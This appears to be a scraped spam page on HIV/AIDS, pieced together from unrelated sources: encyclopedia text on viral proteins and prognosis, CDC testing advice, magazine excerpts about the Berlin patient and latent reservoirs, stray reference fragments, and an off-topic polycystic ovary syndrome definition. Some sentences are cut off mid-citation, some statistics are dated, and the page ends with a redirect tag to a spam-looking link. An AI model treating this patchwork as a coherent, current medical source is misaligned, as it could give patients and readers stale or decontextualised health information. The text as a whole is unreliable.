In this era of increasingly effective treatments for HIV, people with HIV are living longer, healthier, and more productive lives. Deaths from HIV infection have greatly declined in the United States since the 1990s. As the number of people living with HIV grows, it will be more important than ever to increase national HIV prevention and health care programs.
Although viral load and turnover are usually measured by detecting the viral RNA present in viral particles in the blood, the major reservoir of HIV infection is in lymphoid tissue, in which infected CD4 T cells, monocytes, macrophages, and dendritic cells are found. In addition, HIV is trapped in the form of immune complexes on the surface of follicular dendritic cells. These cells are not themselves infected but may act as a store of infective virions.
Many governments and research institutions participate in HIV/AIDS research. This research includes behavioral health interventions, such as research into sex education, and drug development, such as research into microbicides for sexually transmitted diseases, HIV vaccines, and anti-retroviral drugs. Other medical research areas include the topics of pre-exposure prophylaxis, post-exposure prophylaxis, circumcision and HIV, and accelerated aging effects.
According to the August 2008 report issued by the Joint United Nations Programme on HIV/AIDS (UNAIDS), as of 2007, approximately 33 million people worldwide are HIV positive. Over half of the 33 million are women and this statistic has remained stable for several years. The highest number of cases is found in sub-Saharan Africa and Southeast Asia.
HIV/AIDS has become a chronic rather than an acutely fatal disease in many areas of the world. Prognosis varies between people, and both the CD4 count and viral load are useful for predicted outcomes. Without treatment, average survival time after infection with HIV is estimated to be 9 to 11 years, depending on the HIV subtype. After the diagnosis of AIDS, if treatment is not available, survival ranges between 6 and 19 months. HAART and appropriate prevention of opportunistic infections reduces the death rate by 80%, and raises the life expectancy for a newly diagnosed young adult to 20–50 years. This is between two thirds and nearly that of the general population. If treatment is started late in the infection, prognosis is not as good: for example, if treatment is begun following the diagnosis of AIDS, life expectancy is ~10–40 years. Half of infants born with HIV die before two years of age without treatment.
There is evidence that humans who participate in bushmeat activities, either as hunters or as bushmeat vendors, commonly acquire SIV. However, SIV is a weak virus which is typically suppressed by the human immune system within weeks of infection. It is thought that several transmissions of the virus from individual to individual in quick succession are necessary to allow it enough time to mutate into HIV. Furthermore, due to its relatively low person-to-person transmission rate, SIV can only spread throughout the population in the presence of one or more high-risk transmission channels, which are thought to have been absent in Africa before the 20th century.
Persons unaware of their human immunodeficiency virus (HIV) infection are estimated to account for approximately 40% of ongoing transmissions in the United States (1). As a result of increased testing, the percentage of persons living with HIV who are aware of their infection has steadily increased; at the end of 2014, an estimated 85% of persons living with HIV were aware of their infection, approaching the national goal of 90% by 2020 (2). Persons aware of their HIV infection reduce their transmission risk behaviors and can enter HIV care and take antiretroviral treatment to achieve viral suppression (a viral load result of <200 copies/mL, or undetectable levels) (3). Viral suppression not only preserves immune function, decreasing a person’s risk for morbidity and mortality, but also profoundly reduces risk for sexual transmission to others (4–6). Early detection of HIV infection maximizes these benefits. The two Tat proteins (p16 and p14) are transcriptional transactivators for the LTR promoter acting by binding the TAR RNA element. The TAR may also be processed into microRNAs that regulate the apoptosis genes ERCC1 and IER3. The Rev protein (p19) is involved in shuttling RNAs from the nucleus and the cytoplasm by binding to the RRE RNA element. The Vif protein (p23) prevents the action of APOBEC3G (a cellular protein that deaminates Cytidine to Uridine in the single stranded viral DNA and/or interferes with reverse transcription). The Vpr protein (p14) arrests cell division at G2/M. The Nef protein (p27) down-regulates CD4 (the major viral receptor), as well as the MHC class I and class II molecules. People with HIV infection should be under the care of a physician who is experienced in treating HIV infection. This is often an infectious-disease subspecialist, but may be a health-care provider, such as an internal medicine or pediatric specialist, who has special certification in HIV treatment. All people with HIV should be counseled about avoiding the spread of the disease. Infected individuals are also educated about the disease process, and attempts are made to improve the quality of their life. Although malaria is not typically considered an opportunistic infection, its incidence was found to be significantly higher among children in Tanzania that were perinatally infected with HIV than those without HIV infection.  This was true for physician-diagnosed clinical malaria, probable malaria involving laboratory testing for parasitemia as well as malaria that was confirmed by blood smear. Some people may experience a flu-like illness within 2 to 4 weeks after infection (Stage 1 HIV infection). But some people may not feel sick during this stage. Flu-like symptoms include fever, chills, rash, night sweats, muscle aches, sore throat, fatigue, swollen lymph nodes, or mouth ulcers. These symptoms can last anywhere from a few days to several weeks. During this time, HIV infection may not show up on an HIV test, but people who have it are highly infectious and can spread the infection to others. Branson BM, Handsfield HH, Lampe MA, Janssen RS, Taylor AW, Lyss SB, et al. Revised recommendations for HIV testing of adults, adolescents, and pregnant women in health-care settings. Centers for Disease Control and Prevention (CDC). MMWR Recomm Rep 2006;55(RR-14):1–17; quiz CE1–4. [PubMed] [Full Text] ⇦ In the past, people with HIV infection would start antiretroviral treatment after their CD4 count dropped or they developed HIV complications. Today, HIV treatment is recommended for all people with HIV infection, even if their CD4 count is still normal. Jump up ^ Julien, Jean-Philippe; Cupo, Albert; Sok, Devin; Stanfield, Robyn L.; Lyumkis, Dmitry; Deller, Marc C.; Klasse, Per-Johan; Burton, Dennis R.; Sanders, Rogier W. (2013-12-20). "Crystal structure of a soluble cleaved HIV-1 envelope trimer". Science. 342 (6165): 1477–1483. doi:10.1126/science.1245625. ISSN 1095-9203. PMC 3886632 . PMID 24179159. ABC can cause a hypersensitivity reaction during the first two to six weeks of therapy in approximately 5% of individuals. The hypersensitivity reaction most often causes fever and other symptoms, such as muscle aches, nausea, diarrhea, rash, or cough. The symptoms generally get worse with each dose of ABC and, if suspected, therapy must be discontinued and never restarted for fear of developing a life-threatening reaction. There is now a simple blood test (HLA-B*5701) that can be performed to determine whether a patient is at risk for developing the hypersensitivity reaction. If the test is positive, the patient should never receive this medication. There is also conflicting data stating that abacavir may or may not be associated with increased risk of cardiovascular events. When HIV becomes resistant to HAART, salvage therapy is required to try to suppress the resistant strain of HIV. Different combinations of medications are tried to attempt to reduce viral load. This is often not successful, unfortunately, and the patient will usually develop AIDS and its complications. Ruiz L, van Lunzen J, Arno A, et al. Protease inhibitor-containing regimens compared with nucleoside analogues alone in the suppression of persistent HIV-1 replication in lymphoid tissue. AIDS. 1999 Jan 14. 13(1):F1-8. [Medline]. Public perception in the United States about the seriousness of HIV has declined in recent years. There is evidence that risky behaviors may be increasing among uninfected people, especially gay and bisexual men. Pre-exposure prophylaxis (also known as PrEP) is a way to prevent becoming infected with HIV by taking a pill. When taken consistently, PrEP has been shown to reduce acquisition of HIV among people who are at substantial risk by up to 92%.6 Ongoing media campaigns—particularly those emphasizing HIV testing—and HIV prevention interventions for uninfected people who engage in risky behaviors (including PrEP where medically indicated) are critical. Efforts to diagnose people infected with HIV, get them virally suppressed, and provide prevention and support services are also vital. In 2009, a newly analyzed HIV sequence was reported to have greater similarity to a simian immunodeficiency virus recently discovered in wild gorillas (SIVgor) than to SIVs from chimpanzees (SIVcpz). The virus had been isolated from a Cameroonian woman residing in France who was diagnosed with HIV-1 infection in 2004. The scientists reporting this sequence placed it in a proposed Group P "pending the identification of further human cases". Stein-Leventhal syndrome; polycystic ovary syndrome multiple ovarian cyst formation, with associated menstrual abnormalities, infertility, enlarged ovaries, insulin resistance, obesity, acne, evidence of masculinization (e.g. hirsuitism) and increased tendency to type 2 diabetes mellitus; responds to treatment with oral contraceptive pill and/or metformin The Centers for Disease Control and Prevention (CDC) recommends that everyone ages 15 to 65 have a screening test for HIV. People with risky behaviors should be tested regularly. Pregnant women should also have a screening test. Human T-cell lymphotropic virus type III; a cytopathic retrovirus that is 100-120 nm in diameter, has a lipid envelope, and has a characteristic dense cylindric nucleoid containing core proteins and genomic RNA; two types exist: HIV-1 infects only humans and chimpanzees and is more virulent than HIV-2, which is more closely related to Simian or monkey viruses. HIV-2 is found primarily in West Africa. It is the etiologic agent of acquired immunodeficiency syndrome (AIDS). Siliciano told me about the first time he saw the latent virus emerge in the memory T cells of an H.I.V. patient on HAART. The patient was thought to be cured. “He had been biopsied in every imaginable place, and nobody could find any virus,” Siliciano said. Researchers took twenty tubes of the patient’s blood, isolated the T cells, and divided them into multiple wells. The specimen was then intermixed with cells from uninfected people. If the healthy T cells became infected, the virus would reproduce and be released. Detection of the virus would be signalled by a color change to blue. Siliciano remembers sitting at his desk, talking with a visitor, when a graduate student burst in: “The wells are turning blue!” He said, “It was a very strange moment, because it was a confirmation of this hypothesis—so it was exciting—but it was also a disaster. Everybody came to the same conclusion: that these cells persisted despite the antiretroviral therapy.” by mother to baby before or during birth or by means of the milk. Drug users and homosexuals are high-risk groups, but in central Africa it is now widespread amongst heterosexuals where a second virus, HIV 2 is also present. This is endemic throughout West Africa but does not appear to have resulted in an epidemic of the disease. The number of new infections worldwide continues to rise, particularly in women, and effective drug treatments have not yet reached the vast majority of infected individuals in resource-limited countries.In addition, patients require high adherence to the therapy to achieve viral suppression and prevent the development of a drug-resistant virus. Modern regimes are less onerous than older ones. They are simpler and involve fewer tablets, whereas it used to be necessary to take 16 to 20 tablets a day. Even the most cautious AIDS researchers place remission along a continuum, with a cure at the end. Robert Siliciano told me, “The first goal is to reduce the reservoir. And this is not just for the individual but also has a public health consequence.” For however long a person is off HAART, doctors would be able to divert resources to patients who still needed treatment. Models featured in the campaign all use the drug. "As a community that's already dealt with hardship, hatred and discrimination, we don't need to turn on ourselves," Peter William Dunn said about breaking stigma around HIV and AIDS. "Treat everyone with respect and empathy, and treat those who are HIV-positive as real human beings not defined by a disease." Humoral response to HIV. The humoral immune response occurs later in infection; therefore, the level of antibodies during the acute infection is very low. Non-neutralising antibodies to structural proteins (i.e. P17 and P24) are first to appear and generally do not persist. Later neutralising antibodies specific to proteins, involved in the entry of the virus into the cells, will be generated. These antibodies are specific to: (1) the variable region of gp120 (V3); (2) CD4 binding sites and chemokine receptors (i.e., CXCR4 and CCR5); (3) the transmembrane protein gp41. Potent neutralizing antibodies have been shown to play a major role in controlling HIV infection in a few symptom-free HIV+ individuals who maintain high level of CD4+ T cells and low viral load. Brown is known as the Berlin patient, after the city where he became the only person ever to have been cured of H.I.V. In 2006, more than a decade after he discovered he was H.I.V.-positive, he was given an unrelated diagnosis of acute myelogenous leukemia, a cancer of the bone marrow. After initial treatment, the leukemia returned. Brown needed a bone-marrow transplant. His hematologist, Gero Huetter, made the imaginative suggestion that they use a donor with a genetic mutation that shuts down the protein CCR5, a doorway for H.I.V. into helper T cells. On February 7, 2007, Brown received the transplant. One year later, he underwent the procedure again, and by 2009 biopsies of Brown’s brain, lymph nodes, and bowel showed that the virus had not returned, and his T-cell count was back to normal. Jump up ^ Zwahlen M, Egger M (2006). "Progression and mortality of untreated HIV-positive individuals living in resource-limited settings: update of literature review and evidence synthesis" (PDF). UNAIDS Obligation HQ/05/422204. Archived (PDF) from the original on April 9, 2008. Retrieved March 19, immunodeficiency virus (HIV) infection results from 1 of 2 similar retroviruses (HIV-1 and HIV-2) that destroy CD4+ lymphocytes and impair cell-mediated immunity, increasing risk of certain infections and cancers. Initial infection may cause nonspecific febrile illness. Risk of subsequent manifestations—related to immunodeficiency—is proportional to the level of CD4+ lymphocyte depletion. HIV can directly damage the brain, gonads, kidneys, and heart, causing cognitive impairment, hypogonadism, renal insufficiency, and cardiomyopathy. Manifestations range from asymptomatic carriage to acquired immune deficiency syndrome (AIDS), which is defined by serious opportunistic infections or cancers or a CD4 count of < 200/μL. HIV infection can be diagnosed by antibody, nucleic acid (HIV RNA), or antigen (p24) testing. Screening should be routinely offered to all adults and adolescents. Treatment aims to suppress HIV replication by using combinations of ≥ 3 drugs that inhibit HIV enzymes; treatment can restore immune function in most patients if suppression of replication is sustained. Vaccines against HIV have been difficult to develop because HIV surface proteins mutate easily, resulting in an enormous diversity of antigenic types. Nonetheless, various vaccine candidates are under study, and a few have shown promise in clinical trials. At the present time, there is no effective AIDS vaccine. In adults and adolescents, HIV is most commonly spread by sexual contact with an infected partner. Before routine screening of blood products began in 1985, a small group of children were infected with the virus by contaminated blood products. Currently, nearly all HIV infections in children under the age of 13 are from vertical transmission, which means the virus is passed to the child when they are in their mother's womb or as they pass through the birth canal. The virus has also been detected in breast milk, and can be spread by breastfeeding. [redirect url='http://penetratearticles.info/bump' sec='7']